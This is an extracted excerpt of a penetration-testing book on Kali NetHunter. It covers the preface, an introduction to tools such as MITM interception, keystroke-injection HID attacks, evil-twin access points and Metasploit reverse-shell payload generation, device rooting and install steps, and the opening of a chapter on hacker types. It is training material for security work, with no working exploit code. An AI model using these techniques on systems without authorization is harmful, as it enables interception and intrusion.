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Preface

Hands-On Penetration Testing with Kali NetHunter focuses on penetration testing using a

mobile platform to simulate real-world attacks. The Kali NetHunter platform was designed

to run on Android-based devices such as smartphones and tablets. Its portability makes this

an interesting topic and opens the door for many possible applications in cyber security.

Who this book is for

This book is designed for people who are beginning a career in penetration testing and

people who are already in the cyber security field and would like to further their

knowledge and understanding of penetration testing using a mobile platform. Readers

should have some fundamental knowledge of penetration testing or cyber security prior to

starting this book.

What this book covers

Chapter 1, Introduction to Kali NetHunter, introduces Kali NetHunter and describes some of

the tools within its mobile platform. You'll learn about the Android platform and its

security model, and finally you'll learn how
to

install the Kali NetHunter platform on an

Android device.

Chapter 2, Understanding the Phases of the Pentesting Process, covers the importance and

need for penetration testing in the digital world. You'll learn about the different types of

threat actors and cyber security teams within
an

organization. Furthermore, you'll learn the

basics of penetration testing by learning about the phases and various frameworks.

Chapter 3, Intelligence Gathering Tools, explores the various methods and resources a

penetration tester can use
to

obtain information about a target.

Chapter 4, Scanning and Enumeration Tools, covers an overview of scanning and

enumeration. You'll learn about various scanning techniques and tools in order
to

better

profile a target. Additionally, using numerous techniques and tools, you'll be able to

extraction information from the target using the process of enumeration.
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Chapter 5, Penetrating the Target, covers some top tips for successfully exploiting a system

and gaining access. By the end of this chapter, you'll be able to use various techniques to

gain access
to

a target.

Chapter 6, Clearing Tracks and Removing Evidence from a Target, covers the importance of

clearing your tracks as a penetration tester. You'll learn about various types of logs and

their locations, a number of utilities and tools
to

assist in clearing log data, and removing

files from both Windows and Linux systems.

Chapter 7, Packet Sniffing and Traffic Analysis, explores various packet sniffing techniques,

tools, and devices. At the end of the chapter, you will be able to perform packet sniffing

using a number of native tools within Kali NetHunter. Additionally, you'll learn how
to

analyze data using some very well-known tools.

Chapter 8, Targeting Wireless Devices and Networks, covers the types of wireless networks,

standards, and topologies. You'll learn about a wide array of threats and attacks that occur

on wireless networks and will
be

able
to

perform these attacks yourself.

Chapter 9, Avoiding Detection, covers the fundamentals a penetration tester needs
to
know

and understand in order to be stealthy using various techniques during a penetration test.

Chapter 10, Hardening Techniques and Countermeasures, covers commonly-found threats in

the digital world and explains how to secure network appliances, client and server

operating systems, and mobile devices.

Chapter 11, Building a Lab, covers the requirements and process of setting up a personal

penetration testing lab environment, as well as how to assemble it.

Chapter 12, Selecting A Kali Device and Hardware, helps you choose a suitable device for Kali

NetHunter.

To get the most out of this book

Before beginning this book, it is recommended that you have at least a fundamental

knowledge of cyber security. You should have an understanding of cybersecurity concepts

and threats in the cybersecurity landscape. For the practical aspects of this book, we used

both Kali Linux and Kali NetHunter on an Android smart device. The first chapter covers

the installation of Kali NetHunter on Android.

[2]
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Download the color images

We also provide a PDF file that has color images of the screenshots/diagrams used in this

book. You can download it here:

http://www.packtpub.com/sites/default/files/downloads/9781788995177_ColorImages

.pdf.

Conventions used

There are a number of text conventions used throughout this book.

CodeInText: Indicates code words in text, database table names, folder names, filenames,

file extensions, pathnames, dummy URLs, user input, and Twitter handles. Here is an

example: "I usually specify the filename as an HTML file, such as test.html."

Any command-line input or output is written as follows:

apt-get install metagoofil

Bold: Indicates a new term, an important word, or words that you see onscreen. For

example, words in menus or dialog boxes appear in the text like this. Here is an example:

"Go to Settings | Developer options and enable both the Advanced reboot and Android

Debugging options."

Warnings or important notes appear like this.

Tips and tricks appear like this.

Get in touch

Feedback from our readers is always welcome.

General feedback: If you have questions about any aspect of this book, mention the book

title in the subject of your message and email
us

at customercare@packtpub.com.

[3]
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Errata: Although
we

have taken every care
to

ensure the accuracy of our content, mistakes

do happen. If you have found a mistake in this book,
we

would be grateful if you would

report this to us. Please visit www.packt.com/submit-errata, selecting your book, clicking

on the Errata Submission Form link, and entering the details.

Piracy: If you come across any illegal copies of our works in any form on the Internet,
we

would
be

grateful if you would provide
us

with the location address or website name.

Please contact us at copyright@packt.com with a link to the material.

If you are interested in becoming an author:
If

there is a topic that you have expertise in

and you are interested in either writing or contributing
to

a book, please visit

authors.packtpub.com.

Reviews

Please leave a review. Once you have read and used this book, why not leave a review on

the site that you purchased it from? Potential readers can then see and use your unbiased

opinion to make purchase decisions,
we

at Packt can understand what you think about our

products, and our authors can see your feedback on their book. Thank you!

For more information about Packt, please visit packt.com.

Disclaimer

The information within this book is intended
to

be used only in an ethical manner. Do not

use any information from the book if you do not have written permission from the owner

of the equipment. If you perform illegal actions, you are likely
to be

arrested and

prosecuted to the full extent of the law. Packt Publishing does not take any responsibility if

you misuse any of the information contained within the book. The information herein must

only be used while testing environments with proper written authorizations from

appropriate persons responsible.

[4]
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Section 1: Exploring Kali

NetHunter

This chapter will introduce both Kali NetHunter and Android, as well as the hardware

platforms Kali NetHunter is designed for.

The following chapters are covered in this section:

Chapter 1, Introducing Kali NetHunter

Chapter 2, Understanding the Phases of the Pentesting Process



1
Introduction to Kali NetHunter

Hacking is an interesting topic of discussion for lots of people, whether they work in the

field of cybersecurity or are simply interested in learning the details of how it’s done. Often,

TV shows and movies incorporate hackers into the plot. Some TV shows, fictional or non

fictional, are solely based on hacking, notable
one

being Mr. Robot. In the show, a young

man orchestrates and executes various cyberattacks on multiple organizations using real

world techniques.

Many TV shows and movies often show a hacker using a mobile or other handheld devices

to infiltrate a target network. This begs the question: is hacking from a mobile device, such

as a phone, possible? The answer
to

this question is yes. We are surrounded by so much

technology and so many smart devices. Imagine using your smart device to test a network

or system for vulnerabilities and perhaps exploit it; this would definitely be very cool.

In this chapter, we will be covering the following topics:

Introducing Kali NetHunter

The Android platform and Security model

Installing Kali NetHunter

What is Kali NetHunter?

To begin this section, let’s a take a walk through the history and evolution of the most

popular penetration-testing Linux distribution, Kali Linux. Before the ever-popular Kali

Linux, there was its predecessor, known as Backtrack. Backtrack was created by two

merger companies, Auditor Security Collection
and

Whax, back in 2006. The Backtrack

operating system was in the form of a live CD and live USB bootable media, which allows a

penetration tester, systems administrator, or hacker
to

use any computer that supported

booting from CD/DVD and/or USB drives. Since Backtrack is a Linux-based operating

system, live boot simply made any computer into a hacker’s machine on the network.
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In 2011, Backtrack evolved into its latest version, known as Backtrack 5. At this time,

Backtrack included many tools and utilities that helped penetration testers to do their jobs.

Some of the tools within Backtrack 5 include the following:

Metasploit: A famous exploit development framework created by Rapid7(www.rapid7.com).

SAINT: A renowned vulnerability-assessment tool developed
by

SAINT

Corporation (www.saintcorporation.com).

Maltego: An information-gathering tool created by Paterva (www.paterva.com),which takes advantage of data-mining techniques using various resources on the

internet.

In 2013, the Backtrack distribution went through a major change; all support had ended

while evolving into the Kali Linux penetration-testing Linux distro we all know today. The

creators of Kali Linux, Offensive Security (www.offensive-security.com), completely

redesigned Backtrack from the ground up, making it Debian-based. The Kali Linux

penetration-testing platform comes with over 600 pre-installed tools that can assist

penetration testers, security engineers, or forensics personnel in their duties.

Kali Linux was originally designed
to

run on computer systems similarly to its predecessor,

whether Live Boot (CD/DVD or USB) or installed on the local hard disk drive. In 2014,

Offensive Security, the creators of Kali Linux, released Kali NetHunter. This platform was

released for Android-based devices, which opened up greater opportunities for penetration

testers around the world by removing the restriction of using a desktop or laptop computer

to test target systems and networks.

Kali NetHunter allows penetration testers to simply walk around with an Android-based

device, such as a smartphone or a tablet. Imagine how awesome it would be to be assigned

a security audit on a client's systems, specifically their wireless and internal network, and

all you need to carry out the audit is a smartphone.

An example scenario for using NetHunter for penetration testing is auditing wireless

security and testing the security for any bring-your-own-device (BYOD) policies within an

organization’s network. Being able
to

conduct penetration testing through a handheld

device is important as wireless security configurations have the most security

vulnerabilities for a network.

At times, a technician may deploy a wireless router or an access point (AP) on a network

while leaving the default configurations, which included default or factory-assigned

passwords. During the course of this book, we will take a look at various methodologies for

performing a penetration test using Kali NetHunter and how to utilize the arsenal of tools

that are available to execute a successful penetration test against a network and system.

[7]
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Tools within Kali NetHunter

The Kali NetHunter platform has additional resources not available in Kali Linux. These

additional resources are powerful tools in the hands of a focused penetration tester.

MAC Changer

The name of this utility says it all: it can change the media access control (MAC) address of

a device's network interface card (NIC) to either a randomized value or a specific address

defined by the tester. The MAC Changer on Kali NetHunter has an additional capability of

changing the device’s hostname. This can be a very useful feature that can aid a penetration

tester in a social-engineering attack:

[8]
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The MITM framework

A man-in-the-middle (MITM) framework of tools and utilities is used when performing all

MITM attacks on a network. A MITM attack is when a hacker sits between the victim and

another device, such as the default gateway to the internet. The intention of the attack is
to

intercept all traffic along the path. Looking at the following diagram, all traffic from the
PC

that is intended
to

go to the internet which is supposed to be sent directly to the router

(default gateway) is indicated by the top arrow. However, with an attacker on the network,

they are able to trick the victim's PC into thinking the attacker's machine is now the router

(default gateway) and tricking the router into believing the attacker's machine is the PC:

It’s a penetration tester’s powerhouse. Some of its features are key-logging, address

resolution protocol (ARP) cache poisoning attacks, spoofing, and SSL stripping attacks

using the SSLStip+ feature. The following is
the

main window of the MITM framework on

NetHunter:

[9]
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Swiping across on the right, you'll encounter another section, Spoof Settings, which will

allow a penetration tester
to

easily execute an MITM attack on a network:

[10]
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HID attacks

A Human Interface Device (HID) attack converts a Kali NetHunter device, such as a

smartphone with on-the-go (OTG) support, into a pre-programmed keyboard. If a

penetration tester uses an OTG cable to create a physical connection between the Kali

NetHunter device and a target computer, NetHunter has the capabilities of creating an

attack vector. The vector uses a combination
of

the phone’s hardware and software to create

a pre-programmed keyboard. The purpose of the pre-programmed keyboard is to inject

script attacks into the target system.

According to the official documentation on Kali NetHunter, USB HID

attacks are only available on Teensy devices. Teensy devices can be found

at https://www.pjrc.com/teensy/.

DuckHunter HID

The USB Rubber Ducky was created by the team at Hak5 (www.hak5.org). It was intended

to inject payloads of over 1,000 words per minute into the target device. Kali NetHunter

allows a penetration tester to write custom or use existing ducky scripts and simply use the

DuckHunter HID attack features to convert ducky scripts into the NetHunter HID attack

format.

To create payloads for the USB Rubber Ducky, please visit https://

ducktoolkit.com/ for more information.

Kali NetHunter supports the conversion of USB Rubber Ducky scripts in the NetHunter’s

HID attacks. What is the USB Rubber Ducky? The USB Rubber Ducky is a keystroke

injection hardware-based tool that looks like a USB flash drive.

The following is a picture of a USB Rubber Ducky. As
we

can see, the ducky has a

motherboard with a removable microSD memory card. The USB rubber ducky receives

power when it's inserted into a USB port on a computer. Upon receiving power, the

firmware on the ducky's motherboard checks for any payload that may be residing on the

microSD memory card. Regular USB thumb drives do not support modular form factor, so

a USB thumb drive does not allow a user to expand or replace the flash storage with a

microSD card:

[11]
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BadUSB MITM attacks

By now, you've probably noticed that there are some amazing HID- and USB-based attacks

on the Kali NetHunter platform. The BadUSB MITM Attack allows a penetration tester to

simply use an OTG cable to create a physical connection between a victim's computer and

the NetHunter device. Once a connection has been established, all network traffic leaving

the victim computer will be sent to the NetHunter device:

This type of attack is called a man-in-the-middle (MITM) attack as the NetHunter device

implants itself between the victim's computer and the internet or any other network it is

transmitting data on.

The MANA Wireless Toolkit

Even if you are starting out in penetration testing, you've probably heard about a wireless

security auditing framework called Aircrack-ng. The features of MANA Wireless Toolkit

on Kali NetHunter are similar
to

those of Aircrack-ng. MANA can create an evil-twin

access point and perform an MITM attack.
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An evil twin is an unauthorized AP implanted in an organization
by

a

hacker. The goal is to trick unaware employees into establishing a

connection and transferring sensitive information across the network.

Using an evil twin, a hacker will be able
to

intercept and reroute users'

traffic easily.

This tool allows a penetration tester to configure the following when creating an evil twin:

Basic Service Set Identifier (BSSID): The BSSID is the media access control

(MAC) of the wireless router or the AP.

Service Set Identifier (SSID): The SSID is the name of the wireless network as

seen by laptops, smartphones, tablets, and so on.

Channel: The channel is also known as a wireless band on the spectrum.

Software defined radio

The Software defined radio (SDR) feature allows the penetration tester to combine the use

of a HackRF device (a physical component) and the Kali NetHunter Android device using

various wireless radio frequencies and space. SDR hacking allows a malicious user
to

listen

on radio frequencies, allowing them to intercept police scanners, aircraft radio

transmissions, and so on.

Network Mapper

A penetration tester's toolkit wouldn't
be

complete without the popular network-scanning

tool Network Mapper (Nmap). This is known as the king of network scanners as it does

way more than typical network scanners. Scanning allows a penetration tester
to

profile a

target, it helps to identify the operating system as well as open and closed ports, detect

vulnerabilities, determine the service versions of running applications, and a lot more.

The following are the options provided using the Nmap Scan menu on the NetHunter app:
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NMap has quite a few benefits:

Can determine the target’s operating system

Detects TCP and UDP ports

Detects service versions by performing banner-grabbing

Detects a target device's vulnerability to various exploits and malware

Can use decoy features
to

reduce the chances of detection

The Metasploit Payload Generator

One of the most challenging phases in penetration testing is the Exploitation or the Gain

Access phase. Sometimes a penetration tester may use an existing exploit within the

Metasploit Framework (MSF); however, if the target system is patched to prevent such an

attack, the exploit will most likely fail. Within the MSF is the msfvenom payload-generator

utility, which allows a penetration tester to create customized payloads.
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The Metasploit Payload Generator allows a penetration tester to easily create payloads

using the following options:

Output type such as ASP, Bash (.sh), PHP, Powershell (.ps1), Python (.py),

Windows (.exe), and so on. This feature allows a payload to be crafted for a

specific platform.

Set both the IP address and Port number.

Payload options can be the default MSF format or the command prompt (CMD).

The following is the interface for the Metasploit Payload Generator on Kali NetHunter,
we

can see the various options available to us and how simple it is to create a payload using

this application. Upon completion, the payload can
be

sent to our local storage on our

Android device or to an HTTP address:

The created payloads can be in the following form:

Reverse or Bind: The victim's terminal (shell) is sent back to the attacker when

compromised, this is known as a reverse connection. A bind shell happens when

an attacker successfully compromises a target system, a shell it automatically

obtains.
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Staged
or

stageless: In a stage payload, the exploitation happens in stages. The

attack sends an initial payload to the target system; once compromised, the

remainder of the payload is downloaded onto the victim's system. In a stageless

payload, a single payload is crafted with all of its functions and is sent
to

the

potential victim.

Searchsploit

A penetration tester may sometimes require a known, working exploit to attack a specific

vulnerability on a target system. Exploit-DB (www.exploit-db.com) is a popular exploit

repository maintained by the team at Offensive Security (www.offensive-security.com).

Exploit-DB contains many exploits developed and tested by its community, including

penetration testers and vulnerability researchers in cybersecurity.

The searchsploit tool allows a penetration tester to simply search and download exploits

directly onto their Kali NetHunter device. The tool queries the Exploit-DB official

repository for any search parameters entered
by

the user. Once the exploit has been

downloaded, the penetration tester can deliver the payload as is or customize it to suit the

target:

[16]



Introduction to Kali NetHunter Chapter 1

The full manual on SearchSploit can be found at https://www.exploit-

db.com/searchsploit.

The Android platform and security model

Android is a popular mobile operating system that is based on a modified version of Linux.

Another benefit is being open source, which gives developers and enthusiasts the

opportunity to create custom applications and modifications on Android. Being Linux

based has many benefits, such as running various Linux-based tools and utilities.

At that time, there were many competitors in the market, some of these were Hewlett

Packard (HP) who used the WebOS operating system on their devices, Apple’s iOS,

Microsoft’s Windows Phone operating system, Blackberry’s Research in Motion (RIM)

operating system and Symbian OS which was used on some first generation phone

manufacturers such as Nokia.

The Android architecture

Like all operating systems, Android's architecture can be viewed in layers, which include

all the components of the architecture, as
we

can see here:

The Application layer

The Application layer contains the applications of the mobile device. These applications

include the browser, dialer, contacts, clock, and alarm, which are usually displayed on the

home screen.
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The Application Framework Layer

The Application Framework layer allows Android-based applications, such as the dialer, to

interface with the application framework, which in turn manages the basic mobile functions

for resource and voice-call management.

The following components reside within the application framework of the Android

operating system:

Package Manager: Keeps tracks of currently-installed Android-based

applications.

Activity Manager: Handles the life cycle of all the running applications on the

device.

Content Provider: Allows the sharing of data between applications.

Telephony Manager: Responsible for establishing, maintaining, and terminating

calls on the device.

Location Manager: Manages location features such as Global Positioning

System (GPS).

Resource Manager: Responsible for the type of resources used in an application

on the device.

Notification Manager: Displays notifications and alerts on the device’s screen.

Java API Framework: Allows developers to create applications written using the

Java programming language. The frameworks allows the Android operating

system
to

execute these applications.

Android Libraries

Android uses a native library written in C and C++, which is responsible for handling

various data types in the mobile operating system.

Here are some of the libraries it uses:

Media Framework: Responsible for providing various types of media codecs that

allow both recording and playback
of

all media types, such as MP3 and WAV.

SQLite: A database that is used in Android-based devices for data storage.

OpenGL/ES & SGL: Handles the rendering of computer graphics both in 2D and

3D on the device’s screen.

WebKit: Responsible for displaying web pages by using the web browser’s

engine.
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Android Runtime

Android Runtime (ART) allows each individual app
to

execute within its own process and

instance, just like virtual machines on a desktop. ART is designed
to

run these "virtual

instances/machies" on low-memory devices such as smartphones and tablets.

Kernel

Most importantly, we must not forget about
the

brain behind the Android operating

system, the kernel, which is responsible for interfacing with the hardware components of

the handheld device. Android is based on the current longterm-support kernel of the Linux

operating system. During the development of Android, the Linux kernel was modified
to

better fit the needs and functions of a mobile operating system. One of the modifications on

the kernel prevents a user from installing original Linux packages on the Android platform.

The Android security model

To better understand Android's security posture,
we

are going
to

take a look into the

security model behind Android. We'll look at how Google and the Android team take the

extra steps needed
to

protect the ecosystem of Android devices and their users.

Securing an open source operating system has its challenges, and Android uses a multi

layered security system to protect its users and the platform. Each Android device usually

has a set of security services provided by Google, let's look at some of them.

Android Device Manager

Android Device Manager is both a web application and mobile app that can be used to

track your Android smartphone or tablet. It can play a sound, secure the device by

remotely applying a lock screen, remotely sign out your Android device from your Google

account, display a message on the lock screen, and remotely erase the device if stolen.

To access the features of Android Device Manager, simply visit the Google Play Store either

on your computer or use the Google Play app on your smart device and search for Android

Device Manager or Google Find My Device, as shown in the following screenshot:
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Once logged in, you’ll see all the features available:
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SafetyNet

SafetyNet protects Android-based devices from security threats, such as malicious URLs,

any potentially harmful apps, and malware infections, as well as detecting whether the

device is rooted. It protects users by continuously monitoring applications and services for

any threats on the device.

Verify applications

The Android operating system can detect when harmful applications run on the device or

attempt to install themselves on the device. This feature will either notify the user or

automatically prevent the application from executing on the device. This feature utilizes the

functions of Google Play Protect, which periodically scan the applications currently

installed on a device and those that a user is attempting to install for any signs of being

malicious. This feature exists within Android's operating system security.

Google continuously monitors applications; if an application is detected to be malicious, a

notification is presented on the screen of the Android device that encourages the user
to

uninstall it. This ensures the security and privacy of Android users are maintained.

Application services

The Application service allows Android-based applications that are locally installed on the

device to utilize cloud-based services and features. An example of a cloud-based service

and feature is the data backup. An example of Application services is the Backup and Reset

feature within the Settings menu of an Android Device. With the permission of the user,

Android can back
up

its settings to a Google Device automatically, so in the event of a

factory reset on a device, the configurations can
be

restored easily. Additionally, the

Application services always have many Android apps to support cloud backup and restore

functionality.

Android updates

This feature is responsible for checking and retrieving Android updates for new software

versions. These updates are usually created by the Android development teams.

Smartphone manufacturers can modify the updates to suit their devices and deliver it to

various devices using over-the-air (OTA) updates or post it on their support pages, which

will allow users to manually download and update their device.
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Updates are very important for a device's security. Updates are usually rolled out
to
add

new features and fix any security vulnerabilities on an operating system. Android has

security specific updates that are modular, therefore providing smartphone manufacturers

with the flexibility to push security updates much faster while taking more developmental

time over updates that aren't as high a priority.

The Google Play Store

The Google Play Store is the official Application (apps) store for Android devices. The

Google Play service provides licensing verification for purchased applications via the

Google Play Store and performs continuous security scanning for malicious applications.

Google Play Protect

Google Play Protect is a mobile threat-protection service created by Google for Android.

This service consists of built-in malware protections that use machine leaning techniques

and algorithms designed by Google.

The following is a screenshot of the Google Play Protect screen on an Android smartphone;

it displays two features that can be manually enabled or disabled by the user:
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As we can see, Google Play Protect will periodically scan the local device for potentially

harmful applications and threats. Therefore, user intervention is not needed – the process is

automated for us.

Installing NetHunter

Kali NetHunter was originally created for Google Nexus devices such as the Nexus 4

and Nexus 5 smartphones and the Nexus 7 and Nexus 10 tablets. It was later expanded to

the OnePlus One smartphone, which Offensive Security stated is the preferred phone form

factor NetHunter device. As of this writing, Kali NetHunter is supported on a variety of

devices from various manufacturers, such as Google, OnePlus, Samsung, LG, HTC, and

Sony. Let's look at how to install Kali NetHunter on an Android device (before installing

Kali NetHunter on your device, whether it’s a smartphone or tablet, please check the list of

supported devices at https://www.offensive-security.com/kali-linux-nethunter

download/ or the list of supported devices and ROMs at the Offensive Security Kali

NetHunter GitHub repository at https://github.com/offensive-security/kali

nethunter/wiki):

1. Download an official release of Kali NetHunter for your device from https://

www.offensive-security.com/kali-linux-nethunter-download. The

downloaded file should be zipped. Ensure you verify the hash values before

proceeding. If the hash value does not match, do not use it. If you would like
to

create a custom build of Kali NetHunter, please see the Building Kali NetHunter

for a specific device section.

2. Unlock your Android device. When installing Kali NetHunter on an Android

device, the installation takes place
on

top of the Android operating system.

Please ensure the necessary Android drivers are installed and configured on

your computer prior to executing the following steps. To do this, ensure you

have a copy of Android Studio installed on your computer. This software can be

found at https://developer.android.com/studio. Android Studio will ensure

the device drivers are properly installed and are compatible.
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3. Set your device to Developer mode. Navigate
to

Settings | About and tap on the

Build number a few times until you see a notification that says that the

developer mode has been enabled.

4.
Go to

Settings | Developer options and enable both the Advanced reboot and

Android Debugging options:
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5. Root your device (applicable
to
Nexus and OnePlus). If you’re using a Nexus

device, you can use the Nexus Root Toolkit (http://www.wugfresh.com/nrt/).

The root toolkit is an all-in-one tool for installing device drivers, unlocking you

device bootloader, and installing a custom recovery such as Team Win Recovery

Project (TWRP):

6. Select the Initial Setup option, Full Driver Installation Guide, and follow the

7.

installer wizard.

Unlock the bootloader if your device is not unlocked. This process will wipe your

entire device. Please be sure to create a backup of your device before executing

this step.

8. Let's root your Android device. Click on Root. If you’re using a Nexus, you'll see

a checkbox on the screen next to Custom Recovery, ensure you unselect it.
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9. Your device will reboot automatically. To verify your device has been rooted

successfully, you should see within your device’s menu a new icon/app

named SuperSU. Opening the app will verify the status of your device, whether

root access is granted or not.

For OnePlus devices, there is specific rooting tool made just for this

device, it's known as Bacon Root Toolkit (http://www.wugfresh.com/

brt/). Additionally, the team at Offensive Security has provided a

detailed procedure on installing Kali NetHunter using Windows and

Linux. The guide can
be

found
at

https://github.com/offensive

security/kali-nethunter/wiki/Windows-install. If you’re using Linux,

please visit https://github.com/offensive-security/nethunter-LRT.

10.
Go to

the Google Play store and install the BusyBox application:
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11. Install the TWRP Manager app. You can also install TWRP using a

downloadable APK from https://twrp.me

Once both applications are installed, open each to ensure they are

functioning fine. If superuser permission is required, simply select grant or

allow.

12. Copy the Kali NetHunter image and paste it in the root directory of the device.

It’s time to install the custom recovery.

13. Open the TWRP Manager app and select the Recovery Version to Install option.

To begin the installation, click on Install Recovery.

14. Reboot the device from the options provided:
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15. Click on Install and select the Kali NetHunter image ZIP file within the

directory. At this point, the custom recovery will flash Kali NetHunter onto your

device and reboot automatically.

Building Kali NetHunter for a specific device

(optional)

Many smartphone manufacturers, such as OnePlus, Samsung, Google, and LG, produce a

variety of phones every year. You may be wondering, Do I need to purchase another Android

based smartphone to host the Kali NetHunter platform? The answer is simple: you do not. One of

the benefits provided to us is the ability
to

build a custom version of NetHunter for our

Android device. In step 3, you'll be able to choose the type of device and the version of

Android your smartphone is currently running; this is to ensure the output file is

compatible with your Android phone.
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If you would like to build your own Kali NetHunter image from the official GitHub

repository, use the following steps:

1. Download the repository using the git clone

https://github.com/offensive-security/kali-nethunter command:

Ensure you change the directory to the new folder using the cd kali

2. nethunter/nethunter-installer command. Next, run the ./bootstrap.shcommand on the Terminal. There will be an interactive prompt that asks some

questions before it attempts to download any of the device's folders on your

system:

Use the python build.py –h command to view the options available for

3. building a custom Kali NetHunter image for your device:
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To build an image,
we

can use the python build.py -d <device> --

<android version> syntax.

If you want
to

build Kali NetHunter for a Nexus 7 (2013) device running

Android Kitkat, you can use the python build.py –d flo

–kitkat command.
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4. When the build is complete, the output will be a .zip file that is stored in the

nethunter-installer directory. Simply copy the .zip file into the root folder

of your Android device as it will be required
to
move into Kali NetHunter.

To quickly locate the .zip file within your directory, use the ls –l

|grep .zip command
to

view only ZIP files.

Additional optional hardware

As a seasoned or an upcoming penetration tester in the field of cybersecurity, your arsenal

of tools and components is not complete without an external network interface card (NIC)

to conduct packet-injection on an IEEE 802.11 wireless network. Each item contained

within the list is recommended by the team at Offensive Security for being mostly

compatible with standard Android-based mobile devices. These external NICs will allow a

penetration tester to execute various wireless attacks, such as the following:

Eavesdropping, which is listening to a target's wireless network

Capturing network traffic for later analysis consisting of confidential

information that may be passed along the network

Capturing a WPA handshake for attempting to perform various password

cracking techniques

De-authentication attacks

Each of the external NICs contains chipsets that allow the Kali Linux and Kali NetHunter

operating systems to enable monitoring mode to perform these attacks.

The following is a list of supported external wireless network interface cards (NICs) for Kali

NetHunter using Android smartphones:

Atheros - ATH9KHTC (AR9271, AR7010)

Ralink - RT3070

Realtek - RTL8192CU

TP-Link TL-WN722N

TP-Link TL-WN822N v1 - v3

Alfa Networks AWUS036NEH

Alfa Networks AWUS036NHA
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Alfa Networks AWUSO36NH

Panda PAU05 Nano

The following is a picture of a TL-Link TL-WN722N wireless NIC:

The Alfa Networks adapters are popular among penetration testers due to their portability

and ease of use on the Kali Linux platform. The following is a picture of an Alfa Networks

AWUS036NHA adapter, which supports IEEE 802.11 b/g/n standards and speeds of up to

150 Mbps:

Summary

In this chapter, we explored the benefits and convenience of conducting a penetration test

using a handheld device such as a smartphone or tablet. Then we covered Kali Linux’s

mobile platform, NetHunter. We discussed the unique tools and utilities that are preloaded

on the Kali NetHunter platform. We learned about the Android Security Model and

explored its security features, which are implemented
to

help protect Android users. We

closed the chapter by covering how to install Kali NetHunter.

In the next chapter, we will explore the methodologies of penetration testing and its phases.
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2
Understanding the Phases of

the Pentesting Process

In the early days of information technology (IT), there wasn't a need to be concerned about

any security threats or weaknesses in a system. With the advancement of technologies and

mobile devices, a lot of persons seek to understand the art of exploiting computing systems

and networks. The creation of the internet was a major milestone that improved the sharing

and availability of information not only within an institution but globally. As information

and knowledge became more readily available, a lot of people leveraged it for both good

and bad purposes in the digital world.

Imagine a person simply sitting at home surfing the internet, researching methods and

techniques of taking advantage of a vulnerability/weakness on another person's computer

or network. That's quite scary, isn't it? A simple example is a disgruntled employee within

an organization who works as administrative staff, who isn’t knowledgeable about the field

of cybersecurity or computing. The disgruntled employee may want to cause harm to the

organization upon leaving the company, such as destroying the data stored in the

company's local file server. If they decide to research various hacking techniques during

their free time, this can eventually turn into an insider threat.

Penetration testing in the field of cybersecurity is a very interesting path for many IT

professionals. What makes this so interesting
is

that a penetration tester has
to

discover

many methods to successfully exploit a system. At times, an exploit may work on one a

system of a client or target but not on another. This is where the creativity mindset of a

penetration tester is most needed. Personally, I like the challenge of trying to gain access (as

a penetration tester) into a system that seems
to

be a bit challenging; what’s the fun if

everything is easy to hack?
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In this chapter, we will cover the following topics:

What is penetration testing in the field of cybersecurity?

Penetration testing methodologies

Phases of penetration testing

Motivations of using a methodology or process

Expected deliverables from conducting a penetration test

Let's begin!

The need for penetration testing

In the early days of the development of computers, the term hacker was given
to

a person

who had extraordinary skills in using a computer system. This type of person was often

referred to as a computer wiz(ard). Nowadays, the term hacker is given to a person with an

extraordinary skills in using a computer to cause some sort of malicious actions or harm
to

a person, organization, or system.

The need for cybersecurity professionals is in high demand as new threats are emerging

each day and hackers are more readily equipped with an arsenal of tools and resources.

Organizations realized their assets are at risk
and

need
to be

protected from any malicious

actor, whether internal or external. Organizations seek to understand and discover the

vulnerabilities in their systems, such as computers, servers, switches, routers, firewalls, end

devices, and employees. Companies soon saw the need to hire cybersecurity experts to

assist in improving the security posture of their organization. The role of the penetration

tester was created in the world of cybersecurity.

Types of hackers

If you ask a few hackers what are their intentions or motive behind hacking, you'll probably

receive a different answer from each one. People do malicious things for many reasons; it’s

the same in the cybersecurity world. There are some people who love to hack for fun, some

hack for money, while others do it to take a stand against politicians within a state or

country.
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White hat

The white hat hackers are simply the good guys in the cybersecurity world. They use their

hacking skills and techniques to help analyze threats, test systems and networks, and

implement mitigation measures.

Grey hat

The grey hat hackers are in the middle of the offensive and defensive side of the IT security.

This group of hacker uses their knowledge and skills for both good things and bad things.

Black hat

The black hat hacker is a person with a very unique skillset who uses their knowledge to

perform malicious activities.

Script kiddie

When starting in the field of penetration testing, most hackers and professionals usually

begin as a script kiddie. A script kiddie is an unskilled hacker who uses other hackers'

scripts and tools, mostly graphical user interface (GUI) tools to compromise a target

system or network.

Suicide hacker

A suicide hacker is a hacker who aims to take down a target system at all costs, even if it

means being punished by the law.

Hacktivist

As you may know, an activist is someone who campaigns for a social or a political agenda.

There are some activists who take a stand against animal abuse. In the digital world, there

are hacktivists who oppose various agendas. Hacktivists are hackers who use their skills to

promote a social or political agenda. An example of a hacktivist group is the infamous

hacking group known as anonymous.
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State-sponsored hacker

This group of hackers is usually created by the government of a nation for the sole purpose

of launching cyber warfare attacks and conducting reconnaissance of another nation.

Penetration testing

Sometimes during an interview, the management team may ask the interviewee, Why would

we hire a hacker? Management, at times, thinks a person with the skillset of a hacker will be a

huge security risk, which is accurate. However, another question arises: why wouldn't they

hire a hacker? A person who has the skillset of the hacker and the mindset of a good

individual can use their knowledge to help prevent both internal and external security

threats and discover any hidden flaws within the organization’s systems and network

infrastructure.

An ethical hacker, or a white hat hacker, is often someone who uses their information

security expertise and the ability to penetrate
an

organization’s system and network. The

ethical hacker, or penetration tester, identifies hidden vulnerabilities and simulates real

world attacks to test an organization's security systems and mitigation controls. However,

an ethical hacker/penetration tester must obtain legal permission from the client and

necessary authorities before preceding with any sort of security testing.

White hat hackers, ethical hackers, and penetration testers are the same;

the terms are used interchangeably.

Why would someone conduct a penetration test on a network or system? Many

organizations think their network and assets
as

safe from the bad guys (hackers) but in

reality, they are not. As the former Executive Chairman and CEO of Cisco Systems once

said: "There are two types of companies: those that have been hacked, and those who don't know they

have been hacked." Often, many organizations are not aware of a security breach on their

network and the time of detection is usually months after the attack. By this time, the

attackers probably were able to steal a lot of data, create new backdoors, and plant

advanced persistent threats (APTs) in the company.
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To beat a hacker at their game, you must think like one. This is where the role of a

penetration tester comes in. The penetration tester would discover regular and hidden

vulnerabilities that may be missed by the in-house security team and conduct simulated

real-world attacks on the organization’s system and network to exploit any vulnerabilities

found. Finding the flaws and weaknesses before a malicious hacker can give the

organization the upper hand in implementing preventative and mitigation techniques and

controls on the networks, which reduces the attack surface of the organization.

Blue teaming vs red teaming vs purple team

Many organizations are realizing the need for a cybersecurity team with their company.

